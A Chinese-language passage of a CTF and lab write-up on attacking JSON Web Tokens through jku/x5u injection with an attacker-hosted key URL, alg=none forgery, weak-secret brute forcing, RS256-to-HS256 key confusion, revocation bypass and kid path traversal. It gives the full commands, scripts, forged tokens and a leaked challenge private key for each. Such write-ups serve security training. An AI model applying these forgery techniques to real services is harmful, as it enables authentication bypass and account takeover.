            "n": "d9ebd4a8df4a79ad1ab274af04baf7631cea6bb18ca1a94299974983c47db0116a7ce0d088504b0481e3ff9db64ec75c8ba50c485e44b3c24df8c5bf27d41d55f40561ec0352e505ebd8935571c8df9d02cf73b83e1b2fe00334734bd5c67d113280c174f540dfca9b43909f935fb0c5cc940ff2c3207d7ad95d1bc75a4b99a32ab316be42dfeec82191a753bcfa7f6f801a458101f800b4a35597c46857b89b071b9b0231f8913f7c8b6c29c8197b201db62ce43598dc94f6ee7f2743356b5ddad3afd57f454e0532b499b642e89d6ff51f74635eee54eea7cd4715b3b868896e489e8dea9ad78a8a3a48fb51aa130f6e5a1b4ba9a18645a6e2a1acb16fdc4f",
            "use": "sig"
}

下一步我们可以使用python的SimpleHTTPServer快速搭建服务器,将伪造后的的jwks.json文件上传到服务器中。

python -m SimpleHTTPServer 8080

(2)x5u注入

x5u(X.509 URL),也是将 X.509 公钥证书放在 URL 中。

在 JWT 中放入 Header 使用。

{
  "alg": "RS256",
  "typ": "JWT",
  "x5u": "https://example.com/jwks.crt"
}

X5U 利用方法:

  1. 生成 x509 证书和私钥,得到 attacker.crt 证书和 attacker.key 私钥。
    openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attack.key -out attack.crt

    提取 attacker.crt 证书公钥输出重定向到 publicKey.pem 文件。

    openssl x509 -pubkey -noout -in attack.crt > publicKey.pem
拿公钥 publicKey.pem 和私钥 attack.key 对 JWT 重新签名。篡改 JWT 中 x5u URL 指向为攻击者给定私钥文件路径地址即可。需要将attack.key上传到服务器上。
最终得到新的token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vd3d3LmJhY2tsaW9uLmNvbS9qd2tzLmpzb24ifQ.eyJsb2dpbiI6InRpY2FycGkifQ.pWDnDPvAWhjaX-XuRg5QnkglsK31j-floya2IBYIJUY4KSk1kGNDbSTu7FuaL0nPBCp5erzwfIFK_KqoGt6bGOG0gKg6QRErN2oxjfSdNPGFrva4mr0yqJqXtfMmyw60F3omCpHo6hJ6UE6SkYpB93T2WIe8sZAfmyT1el8FllyhtX3oNrDyblgTQijeyGHYDQoA5TjUhiKXDewSQSBi-Sow__Y5Qh9966OueEW1si041LZki4o9DP24NYGvhGNhfBHBym1qoBPPtrWs02lGm4CiJbr4YcytszzG20ocaunIHcPNrZKSHTzGodWOeNDmwvFFxCTZ6zJ_AbFExIByGw
或者使用jwt脚本:
python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"


0x03  CTF练习一:ctfhub- jwt

1.JSON Web Token (JWT) - Introduction——签名算法可被修改为none

http://challenge01.root-me.org/web-serveur/ch58/


以guest身份登陆,在响应cookie中返回了JWT的值


bp截断获取jwt

jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk

 查看有效载荷

https://jwt.io  

发现有效载荷的用户是guest,所以尝试改成admin。但发现,如果修改用户为admin,需要重新生成令牌。新的token生成需要key,但是爆破不成功。

 使用python3的pyjwt模块,使用admin有效载荷,利用签名算法none漏洞,重新生成令牌

>>> import jwt
>>> encoded = jwt.encode({'username': 'admin'}, '', algorithm='none')
>>> encoded
'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.'

或者

python3 jwt_tool.py  eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk  -X  a

 



2.JSON Web Token (JWT) - Weak secret——token加密算法的密钥为弱口令

我们都知道jwt签名时候都需要一个密钥。如果这个密钥是弱密钥的话,是可以爆破出来的

访问主页,提示使用get方式请求token页面,然后使用token通过post访问admin页面

先访问token页面

得到的token值:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw

然后使用post方式访问/admin,响应页面提示请求方法为:添加Authorization: Bearer YOURTOKEN字段
在请求中添加获取到的令牌,在响应页面提示爆破key,密码算法为HS512
Authorization:Bearer  
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw

爆破jwt的key,key为弱口令:lol
 python3 jwt_tool.py    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw     -C -d  /usr/share/wordlists/fasttrack.txt 
再重新加密:
>>> import jwt
>>> encoded = jwt.encode({'role': 'admin'}, 'lol', algorithm='HS512')
>>> encoded
'eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.ShHwc6DRicQBw6YD0bX1C_67QKDQsOY5jV4LbopVghG9cXID7Ij16Rm2DxDZoCy3A7YXQpU4npOJNM-lt0gvmg'
>>>





3.JSON Web Token (JWT) - Public key——泄露token加密算法的公钥文件(RS256修该为HS256)

https://www.root-me.org/fr/Challenges/Web-Serveur/JSON-Web-Token-JWT-Cle-publique

根据提示访问/key路径文件,发现是公钥文件
将其修改为标准的pem文件格式,public.pem:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3XlRn9EORVAj3Ok3KQOB
OBi7h06mUsn6OGXMo+EO8RV+Kb4zecpTsTe5zMSSqsz98xsHJ58SiDnLkwTZ8h6w
pALlweZLXkSz8hMGel753v/q5wSdZgXxh3/ikbcFGZzAUoE1sIvqdFOlY5I2MiHI
w4IFKttT+WWJF8AuRwfhCoITj3rO+BlsFG+c32OyXRUGQKKElLzjNYTYvYgSgBwA
zHNxwfCVXQvTIs92ilkdokYvVL2EXCxxDfFnG1BSY8uOpzFSW/3e2lgX8zGMRcyj
eUYsxwvjCjmDtbRhnFZth0brA72nDyQIemlDSFqci5krz6eQeeaKBKVESyr7d3Np
fwIDAQAB
-----END PUBLIC KEY-----
使用post方式访问/auth,响应页面中提示需要添加username=yourname

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluO1xyXG4ifQ.AV5axWZwPrFbjCvxZ7Q1wzgsqwgQBRCNlPqIQEch8lHbIcIs8odndPwN3BFjPWNSYbrsAxRxM6hZLz7Ln-7rOFBeGfqR1xx0AvB_6QR-o8usqKRyHm7uvMLvBYJSCM4ed650d-pekR9sqAwDicta4-Pb_rxt7bteE2-bc09o_98wFXVB1MS0T4MVQVcJyG8VM3-b0AmAG7msULREpGCz09tKczSYljhS0OxR802kZkpKdmSazRUGMuP1hjTx2F2rV4Jveufj-ihXeZKNP4pB7mijPjvRrnnj1hHb3IffBIVgMTF269HaiuFMavJQcC-assAYOBxmm10OOnXHl3KUug
通过
https://jwt.io/查看返回的token的签名算法为R2256

尝试将签名算法RS256修改为HS256

python3 jwt_tool.py  eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluO1xyXG4ifQ.AV5axWZwPrFbjCvxZ7Q1wzgsqwgQBRCNlPqIQEch8lHbIcIs8odndPwN3BFjPWNSYbrsAxRxM6hZLz7Ln-7rOFBeGfqR1xx0AvB_6QR-o8usqKRyHm7uvMLvBYJSCM4ed650d-pekR9sqAwDicta4-Pb_rxt7bteE2-bc09o_98wFXVB1MS0T4MVQVcJyG8VM3-b0AmAG7msULREpGCz09tKczSYljhS0OxR802kZkpKdmSazRUGMuP1hjTx2F2rV4Jveufj-ihXeZKNP4pB7mijPjvRrnnj1hHb3IffBIVgMTF269HaiuFMavJQcC-assAYOBxmm10OOnXHl3KUug    -X k -pk public.pem


eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRpbWVcclxuXHJcbiJ9.i88Z8PFUn-_Sjcw1mmNG5G9OHlyjwwwEAPlYk0rMKoI






4.JWT - Jeton revoque——token令牌base64特性的绕过
http://challenge01.root-me.org/web-serveur/ch63/
通过post访问/login,响应页面提示:需要添加post参数: {"username":"admin","password":"admin"}进行请求

修改Content-Type为 application/json,并添加post提交的参数: {"username":"admin","password":"admin"},发送请求,可获得jwt的token值
但是这里尝试通过添加获得的jwt的token值以及get方法访问/admin,一直显示Authorization header错误。
于是,通过 curl 使用 POST请求参数{"username":"admin","password":"admin"}
curl -H "Content-Type: Application/json" -X POST -d '{"username":"admin","password":"admin"}' http://challenge01.root-me.org/web-serveur/ch63/login
获得token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjI3OTYxNTksIm5iZiI6MTY2Mjc5NjE1OSwianRpIjoiYmFhMGRhMWItNjM0NS00ZWIwLTgzMmUtODZhMzcwYzMxYWUxIiwiZXhwIjoxNjYyNzk2MzM5LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.GH7_2m1UQX57wQ6qI5eFonPdjdsUYD87FAGnM575lsg
通过获得的toekn进行post访问/admin路径,请求响应token被撤销无效
curl -H "Authorization: Bearer  eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjI3OTYxNTksIm5iZiI6MTY2Mjc5NjE1OSwianRpIjoiYmFhMGRhMWItNjM0NS00ZWIwLTgzMmUtODZhMzcwYzMxYWUxIiwiZXhwIjoxNjYyNzk2MzM5LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.GH7_2m1UQX57wQ6qI5eFonPdjdsUYD87FAGnM575lsg" http://challenge01.root-me.org/web-serveur/ch63/admin

让我们查看一下源代码:

access_token = create_access_token(identity=username,expires_delta=datetime.timedelta(minutes=3))
ret = {
'access_token': access_token,
}

with lock:
blacklist.add(access_token)

令牌的生命周期为 3 分钟。不管我有多快,提交的toekn请求都是被撤销,令牌一被创建就会被列入黑名单。

所以我们需要一个有效的令牌,但不是被列入黑名单。甚至令牌本身也没有列入被黑名单,而jwt的值是 BASE64 表示。

根据BASE64 的特性:在某些情况下,BASE64 字符串的末尾可能有一个或两个“=”符号,它们的值是相等的。

尝试在令牌中末尾添加=,请求JWT认证,可获得flag

curl -H "Authorization: Bearer  eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjI3OTYxNTksIm5iZiI6MTY2Mjc5NjE1OSwianRpIjoiYmFhMGRhMWItNjM0NS00ZWIwLTgzMmUtODZhMzcwYzMxYWUxIiwiZXhwIjoxNjYyNzk2MzM5LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.GH7_2m1UQX57wQ6qI5eFonPdjdsUYD87FAGnM575lsg=" http://challenge01.root-me.org/web-serveur/ch63/admin


尝试在将token中的下划线_,替换成/,请求JWT认证,也可获得flag

curl -H "Authorization: Bearer  eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjI3OTc5NTgsIm5iZiI6MTY2Mjc5Nzk1OCwianRpIjoiMTcwMmJhYzAtMzEwMi00NjAyLTk2YjgtNzU1ODlmMjRjZDg5IiwiZXhwIjoxNjYyNzk4MTM4LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.Ln8xsAmrgWVJvxUlLRBZHNILvnYfUN7cXMTf6vk6L/Y" http://challenge01.root-me.org/web-serveur/ch63/admin



0x04  CTF练习二:ctfhub- jwt

1.敏感信息泄露
得到token:
eyJBRyI6IjlhNTk2NDYwYTc2ODA0OH0iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsIkZMIjoiY3RmaHViezNlNzZkNGEwNyJ9.xVHh3CsKzXiEcGVnKJjcDWzK1CLAQb3zoi9tH82AgP4
对token进行解密,可以发现泄露了flag信息
最终flag:
ctfhub{3e76d4a079a596460a768048}

2.签名算法可被修改为none

根据题目提示,这里需要将role的guest修改为admin

使用python3的pyjwt模块,利用签名算法none漏洞,重新生成令牌

>>> import jwt

>>> encoded = jwt.encode({"username": "admin","password": "admin","role": "admin"}, '', algorithm='none')

>>> encoded

'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.'

最终得到flag:
ctfhub{84900360e926146da11ac384}

3.签名密钥为弱口令

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9.YDMMcFi4bdzsYvMw-W37rVUc9tuQFbxB_Qm7jMdqwe4
https://jwt.io/#debugger

根据题目提示,这里使用HS256对称加密算法,如果key使用弱口令,则可以进行爆破
./jwtcrack  eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9.YDMMcFi4bdzsYvMw-W37rVUc9tuQFbxB_Qm7jMdqwe4
得到密钥key为:bffl

使用python3的pyjwt模块,利用签名算法HS256漏洞,重新生成令牌

再重新加密:
>>> import jwt

>>> encoded = jwt.encode({"username": "admin","password": "admin","role": "admin"}, 'bffl', algorithm='HS256')

>>> encoded

'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.PUXXdoUwnrERGR43u8pWyHZn_h4UOQGN0E-ML7DJV68'

>>> 

或者通过jwt.io进行修改

最终得到flag:
ctfhub{6aec1e6b1736fd2604ae9098}


4.公钥文件泄露(将RS256修改为HS256)



eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6Imd1ZXN0In0.JUKph2zwYUVwKAbAzp4Tmtm2bTuv_SvG_6H4-SJDl3NWHgIJwG5PAgUskjAQEIXKF5y_bLgMAzkkE4CMHeonKk8YEx1JPjj6_MXoXRXCuq9SDiWhxGGOpqmzI8gQlGTq7aNgDHAXyk83DVtDO4nNyQQxVJm0C3kgUMqfjmoz_toRi-b5mjxnWkwQtSkNZeUm8DQB42oA9biHGC2GFbRJPPtjjt5YPbXI9HdeTOLU4JGDtNMt7m4ur7mfXJz7-lhyttI_6cPdaB5HDcDgeMLQPfwfgAnzOCZckqV_6FpwHL5QKIZNICNHGNt8AB2_sK7Nb5uik-7lJCcKhF-m8jciWg


# coding=utf-8
import hmac
import hashlib
import base64

file = open('publickey.pem')    #需要将文中的publickey下载    与脚本同目录
key = file.read()

# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'

# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")

# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")

# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)

# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")

print(token + "." + sig)



0x05  CTF练习三:ctf show- jwt

1.未校验签名-web345
访问页面,在响应页面中显示auth的token以及flag的提示在/admin目录下

对token进行JWT解码,可得到alg的加密算法为空
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NjI4Nzk2NzYsImV4cCI6MTY2Mjg4Njg3NiwibmJmIjoxNjYyODc5Njc2LCJzdWIiOiJ1c2VyIiwianRpIjoiODE5YWFjODJjNGQxY2Y0ZWJlMGQ2Mjk3ZjExMzM4ZjUifV0





对pyaload进行base64解码
修改sub的值为admin,并对其进行base64编码
得到编码后的payload:
W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NjI4Nzk2NzYsImV4cCI6MTY2Mjg4Njg3NiwibmJmIjoxNjYyODc5Njc2LCJzdWIiOiJhZG1pbiIsImp0aSI6IjgxOWFhYzgyYzRkMWNmNGViZTBkNjI5N2YxMTMzOGY1In1d
这里访问/admin/也就是访问 /admin/index.php,如果访问/admin,那就是访问/admin.php
拼接token的header,显示302跳转
如果删除签名的header,则可获得flag,这个应该是环境出现问题了


2.签名算法可被修改为none-web346




>>> import jwt

>>> encoded = jwt.encode({"iss":"admin","iat":1662880531,"exp":1662887731,"nbf":1662880531,"sub":"admin","jti":"5a63a2e9d54b9b2345c8d94a80c7e321"}, '', algorithm='none')

>>> encoded

'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2Mjg4MDUzMSwiZXhwIjoxNjYyODg3NzMxLCJuYmYiOjE2NjI4ODA1MzEsInN1YiI6ImFkbWluIiwianRpIjoiNWE2M2EyZTlkNTRiOWIyMzQ1YzhkOTRhODBjN2UzMjEifQ.'




3.签名密钥为弱口令---web347


 python3 jwt_tool.py    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2Mjg4MTI2OSwiZXhwIjoxNjYyODg4NDY5LCJuYmYiOjE2NjI4ODEyNjksInN1YiI6InVzZXIiLCJqdGkiOiJlZTVkZmU1ZmQ5YzI4OWM1OTgyNDQ0ZGUxZTZjYzY3YSJ9.oMXoszdhgYBvfhxYyoRTzUb-aKnUyBiyuB6skxAFySI     -C -d  /usr/share/wordlists/fasttrack.txt 
得到token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2Mjg4MTI2OSwiZXhwIjoxNjYyODg4NDY5LCJuYmYiOjE2NjI4ODEyNjksInN1YiI6ImFkbWluIiwianRpIjoiZWU1ZGZlNWZkOWMyODljNTk4MjQ0NGRlMWU2Y2M2N2EifQ.S1VJZK3Qe_wQv2Ts3iduXBwmQt9DAEi6LPwk_ynPLQQ
4.签名密钥可被爆破---web348
 ./jwtcrack        eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2Mjg4MjU5NiwiZXhwIjoxNjYyODg5Nzk2LCJuYmYiOjE2NjI4ODI1OTYsInN1YiI6InVzZXIiLCJqdGkiOiIzZjVkODcyZDlkYjlkMzE3NDQ2NTQ0YTk3NjA0ODNhOSJ9.N0MXBKcmvFGKLudZfpbhLCKlRio5Ne5Zdc7Wtj7JrSw

Secret is "aaab"
得到toekn:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2Mjg4MjU5NiwiZXhwIjoxNjYyODg5Nzk2LCJuYmYiOjE2NjI4ODI1OTYsInN1YiI6ImFkbWluIiwianRpIjoiM2Y1ZDg3MmQ5ZGI5ZDMxNzQ0NjU0NGE5NzYwNDgzYTkifQ.-Nnppe2aGshbQuT-JnOSpCcXz6KfVrR-rekqPEa3R6I



4.泄露token的私钥文件--web349




-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNioS2aSHtu6WIU88oWzpShhkb
+r6QPBryJmdaR1a3ToD9sXDbeni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnX
YqlTJItOdHZio3Bi1J2Elxg8IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjA
bG1Naz58ibbtogeglQIDAQAB
-----END PUBLIC KEY-----
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
-----END RSA PRIVATE KEY-----

下载了两个文件,按照官方文档伪造jwt应该用私钥,参见Usage Examples — PyJWT 2.3.0 documentation

通过私钥文件脚本加密得到token:

import jwt

private_key = open('private.key', 'r').read()

payload={"user":"admin","iat": 1662886231}

print(jwt.encode(payload=payload, key=private_key, algorithm='RS256'))

 得到token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2NjI4ODYyMzF9.tOIE1qx5t4OMtulQ13AAd-u6Zi6hsCv6mPgKjsQPsR-uM6H2bCIeP_kL2buP7wv98gDQ9U1DVbh4OiZ5wCi4wpzuyUZ73tgb2pjr4AdwYnLFTm0Pj6w711A-Q6nE7CS8MW2-Rg6dsfK9EgUr_B1hWvrTYD9XuratfK3oumQuckQ
这里需要post请求访问,可获得flag




5.泄露token的公钥文件-加密算法RS256修改为HS256(非对称加密算法-对称加密算法)-web350

下载源码,源码中泄露了公钥文件
通过js脚本进行生成token,这里好像只能用这种方法获得:
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2NjI4OTA3NDl9.wcilipDOpHHy0o8_FNXyRnm4Szltxun7k6vGpUYWx_A




0x06 靶场练习(一)

1.None Algorithm ----签名算法可被修改为none
https://jwt-lab.herokuapp.com/authentication/none
eyJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiam9uZXMifQ.na_VLQwcH-fMUTR3dq8lE8o3i2PiXNzCS7L5qYqAtc0EpEcj4aU0Vgw_G0SZTO1kE3T8kakjVyYsvWxrtyrgieGZQ3gprmGe5U1Gfk5Fn95RXJX08unU0SHaafdVq_Y2jZnp6QMTcnH7UHUOeoCGj2Mpo0ADaxJEjdMNRG55HbiI9cM8ERV-hlob3YWw78BPbbKixeRqveSaaa78ZzJbCyP0LcxCd8poi-hTmwN_JPMlw5LP04vjdcfzaToPX5RvPh7Kt3DaNd-yYN2aWW5vOIScYBpVcLwfI4FaSQK_nWMHgUdSh_fhY7cJDS1Z6V8kR4JPTaRtDTO_UbvcI7d71A

>>> import jwt
>>> encoded = jwt.encode({"name": "admin"}, '', algorithm='none')
>>> encoded
'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiYWRtaW4ifQ.'


2.Exposed Key---泄露token公钥-修改对称加密算法(RS256)为对称加密算法(HS256)



yJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiam9uZXMifQ.na_VLQwcH-fMUTR3dq8lE8o3i2PiXNzCS7L5qYqAtc0EpEcj4aU0Vgw_G0SZTO1kE3T8kakjVyYsvWxrtyrgieGZQ3gprmGe5U1Gfk5Fn95RXJX08unU0SHaafdVq_Y2jZnp6QMTcnH7UHUOeoCGj2Mpo0ADaxJEjdMNRG55HbiI9cM8ERV-hlob3YWw78BPbbKixeRqveSaaa78ZzJbCyP0LcxCd8poi-hTmwN_JPMlw5LP04vjdcfzaToPX5RvPh7Kt3DaNd-yYN2aWW5vOIScYBpVcLwfI4FaSQK_nWMHgUdSh_fhY7cJDS1Z6V8kR4JPTaRtDTO_UbvcI7d71A;
得到:eyJuYW1lIjoiYWRtaW4ifQ
得到:
eyJhbGciOiJIUzI1NiJ9
python jwt_tool.py -X k -pk public.pem eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ. 
得到:
eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ.y65I9S3UiREQPUe0XREshv1sv0vyB0E-kjW_o14gM3s




3.Signature Not Checked---未进行签名校验
https://jwt-lab.herokuapp.com/authentication/signature
得到:
eyJuYW1lIjoiYWRtaW4ifQ
最终组合得到:
eyJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ





4.The signature is weak---密钥存在弱口令
https://jwt-lab.herokuapp.com/authentication/weak
eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiam9uZXMifQ.AIGlbhn-NyYe01sz04Cd8BvNAT42hv_N0R1Caq4ELDo

 python3 jwt_tool.py   eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiam9uZXMifQ.AIGlbhn-NyYe01sz04Cd8BvNAT42hv_N0R1Caq4ELDo   -C -d  /usr/share/wordlists/fasttrack.txt 
字典:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/worst-passwords-2017-top100-slashdata.txt

得到token:
eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ._gDs9V-6by-T2sF5C_VXQn7WPOZ_YkAfg0nx-pzLMQk
或者运行
 python3 jwt_tool.py eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ. -S hs256 -p "iloveyou"


5.Vulnerable Kid——KID参数存在任意文件读取漏洞
https://jwt-lab.herokuapp.com/authentication/kid
eyJraWQiOiJyc2FfcHJpdmF0ZSIsImFsZyI6IkhTMjU2In0.eyJuYW1lIjoiam9uZXMifQ.FfeWpjpD-Fw94wHlOq-vwRazbwqoK3EFZYay9FAWHyo


参考 Attacking JSON Web Tokens (JWTs) 5. Use arbitrary files to verify 小节解决了问题,kid 设置为 /dev/null,这在 Linux 下可以绕过。

-I 对当前声明进行注入或更新内容,-hc kid 设置现有 header 中 kid,-hv 设置其值为 "../../dev/null",-pc 设置 payload name,-pv 设置 name 值为 "admin"

python3  jwt_tool.py eyJraWQiOiJyc2FfcHJpdmF0ZSIsImFsZyI6IkhTMjU2In0.eyJuYW1lIjoiam9uZXMifQ.FfeWpjpD-Fw94wHlOq-vwRazbwqoK3EFZYay9FAWHyo -I -hc kid -hv "../../dev/null" -pc name -pv "admin" -S hs256
得到token:
eyJraWQiOiIuLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJuYW1lIjoiYWRtaW4ifQ.2W2AnxRjGFMVB16vqZOgjPktZjNpOmgZca4UWTk31FE


0x07 靶场练习(二)

1.未对签名进行验证
使用帐户wiener,密码peter登录系统
然后点击my-account,抓包获取JWT

修改 sub 属性为 administrator
由于jwt没有对修改的payload进行校验,可将修改后的数据生成的token拷贝出来,然后替换掉之前的toekn进行登录认证


2.未对加密算法进行强验证
使用帐户wiener,密码peter登录系统
https://0ad100cd04ee849ac0ab7df5009d0036.web-security-academy.net/login

然后点击my-account,抓包可获取JWT的token值
https://0ad100cd04ee849ac0ab7df5009d0036.web-security-academy.net/my-account
修改 sub 属性为 administrator,修改 alg 为 none。
修改后生成新的token,且拷贝出来进行修改:
